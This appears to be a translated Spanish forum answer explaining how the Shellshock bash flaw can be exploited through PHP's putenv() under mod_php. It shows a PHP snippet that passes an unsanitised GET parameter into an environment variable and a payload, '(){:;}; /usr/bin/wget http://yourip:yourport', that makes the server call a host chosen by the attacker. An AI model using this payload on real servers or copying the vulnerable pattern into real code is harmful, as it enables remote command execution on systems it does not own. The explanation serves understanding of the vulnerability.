Por mis pruebas, parece posible explotar a través de PHP usando mod_php si ciertas condiciones están presentes.
- / bin / sh por un enlace simbólico a / bin / bash.
- La aplicación PHP establecería una variable de entorno a partir de una variable HTTP controlada por el usuario usando putenv ().
- En algún lugar del script PHP, hay una llamada posterior a una función exec de comando que luego cargará esa variable env (exec (), passthru (), system (), popen (), etc.) ya que se ejecuta en una instancia de shell bash. Esta función del sistema de llamada / comando exec no necesita estar relacionada en absoluto con la configuración de la variable de entorno, siempre que suceda después.
Por ejemplo, aquí hay una forma generalizada de un código que vi hoy que establece una variable de entorno LANGUAGE en función de un parámetro GET no saneado. La llamada popen que agregué al fondo sería el disparador.
function getLang() {
if (isset($_GET["lang"]) && !empty($_GET["lang"])) {
$lang = $_GET["lang"];
}
return $lang;
}
$language = getLang();
putenv("LANGUAGE=$language");
/** A bunch of irrelevant code **/
$file = popen("/bin/ls", "r");
/** or $result = exec("ls"); or $result = passthru("ls"); etc **/
En este caso, la aplicación configura una variable de entorno utilizando un parámetro GET controlado por el usuario, por lo que un valor para lang como (){:;}; /usr/bin/wget http://yourip:yourport
debería intentar un wget en un servidor / puerto de su elección. He visto un código similar que establece variables ENV basadas en valores de cookies y $language=$=COOKIE["lang"]
, de modo que manipular ese valor de encabezado también podría provocar la vulnerabilidad.
Obviamente, es realmente una mala práctica establecer cualquier variable basada en datos de usuarios no confiables. En este caso, es la llamada a popen (que se ejecuta en Bash gracias al enlace simbólico) que finalmente ejecutará la carga útil. Probé esto en un entorno Debian después de configurar el enlace simbólico y la carga útil ejecutada correctamente. De acuerdo con lo que dijo hspaans, no puede influir en la configuración de variables de entorno arbitrarias con llamadas a system () o exec (), por lo que el éxito de explotar algo como esto depende completamente del diseño de la aplicación y del entorno en el que se ejecuta.
Aquí hay más información sobre la vulnerabilidad de PHP no CGI: enlace